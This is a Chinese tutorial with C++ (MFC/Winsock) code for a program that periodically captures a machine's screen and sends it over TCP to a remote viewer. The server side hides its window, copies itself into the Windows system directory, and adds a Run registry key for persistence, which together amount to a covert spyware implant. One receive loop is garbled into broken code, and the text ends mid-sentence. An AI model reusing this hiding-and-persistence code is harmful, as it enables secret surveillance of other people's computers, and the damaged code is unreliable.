採用 Client-Server 模式:
Server (被監控端):運行於現場主機,定時擷取螢幕並透過 TCP 傳送。
Client (監控端):運行於控制中心,接收資料並重現顯示。
Server 初始化:
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN sockin_s;
sockin_s.sin_family = AF_INET;
sockin_s.sin_addr.s_addr = 0;
sockin_s.sin_port = htons(PORT);
bind(sock, (LPSOCKADDR)&sockin_s, sizeof(sockin_s));
listen(sock, 5);
// 獨立執行緒接受連線
AfxBeginThread(ServerThread, NULL);
UINT ServerThread(LPVOID)
{
CSocket newSkt = accept(sock, ...);
WSAAsyncSelect(newSkt, hWnd, WM_MSG, FD_CLOSE);
SetTimer(0, 2500, NULL); // 定時傳送
return 1;
}
Client 連線:
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN sockin_c;
sockin_c.sin_family = AF_INET;
sockin_c.sin_addr.S_un.S_addr = inet_addr(strIP);
sockin_c.sin_port = htons(PORT);
connect(sock, (LPSOCKADDR)&sockin_c, sizeof(sockin_c));
WSAAsyncSelect(sock, hWnd, WM_MSG, FD_READ | FD_CLOSE);
// 建立相容 DC 與位圖
CWindowDC ddc(GetDesktopWindow());
CDC wdc; wdc.CreateCompatibleDC(&ddc);
CBitmap bmp; bmp.CreateCompatibleBitmap(&ddc, 1024, 768);
wdc.SelectObject(&bmp);
wdc.BitBlt(0, 0, 1024, 768, &ddc, 0, 0, SRCCOPY);
// 取得位圖位元資料
char buffer[1572864]; // 1024*768*2 (16-bit)
bmp.GetBitmapBits(1572864, buffer);
// 透過 Socket 傳送
send(sock, buffer, 1572864, 0);
CDC* pDC = GetDC();
CDC wdc; wdc.CreateCompatibleDC(pDC);
CBitmap bmp; bmp.CreateCompatibleBitmap(pDC, 1024, 768);
wdc.SelectObject(&bmp);
char buffer[60000];
int ptr = 0;
while (true)
{
int nRead = recv(sock, buffer, 60000, 0);
for (int i=0; iStretchBlt(0, 0, rect.Width(), rect.Height(),
&wdc, 0, 0, 1024, 768, SRCCOPY);
ptr = 0;
}
}
隱藏主視窗:PreCreateWindow 設定 WS_POPUP | WS_EX_TOOLWINDOW,尺寸極小。
登錄自啟動:
TCHAR sysPath[MAX_PATH], curPath[MAX_PATH], newPath[MAX_PATH];
GetSystemDirectory(sysPath, MAX_PATH);
GetModuleFileName(NULL, curPath, MAX_PATH);
wsprintf(newPath, _T("%s\\Surveillant.exe"), sysPath);
CopyFile(curPath, newPath, TRUE);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_WRITE, &hKey);
RegSetValueEx(hKey, _T("Surveillant"), 0, REG_SZ,
(BYTE*)newPath, (lstrlen(newPath)+1)*sizeof(TCHAR));
RegCloseKey(hKey);
本文僅實作螢幕監視 (單向資料流),未包含遠端控制 (鍵鼠注入、程式啟動) 功能,避免技術被濫用為木馬後門。實際部署建議加入: